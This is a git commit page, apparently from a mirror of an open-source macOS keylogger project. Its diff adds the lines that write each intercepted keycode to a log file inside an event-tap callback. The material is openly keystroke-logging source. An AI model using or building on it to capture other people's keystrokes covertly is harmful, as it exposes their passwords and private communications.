mirror of
https://github.com/caseyscarborough/keylogger.git
synced 2020-11-18 19:53:40 -08:00
Basic keylogging functionality implemented.
This commit is contained in:
parent
aab9e255ab
commit
348b5c442d
@ -41,6 +41,9 @@ CGEventRef CGEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef e
|
||||
return event;
|
||||
}
|
||||
CGKeyCode keyCode = (CGKeyCode) CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
|
||||
|
||||
fprintf(logfile, "%s", convertKeyCode(keyCode));
|
||||
fflush(logfile);
|
||||
|
||||
return event;
|
||||
}
|
||||
|
Loading…
x
Reference in New Issue
Block a user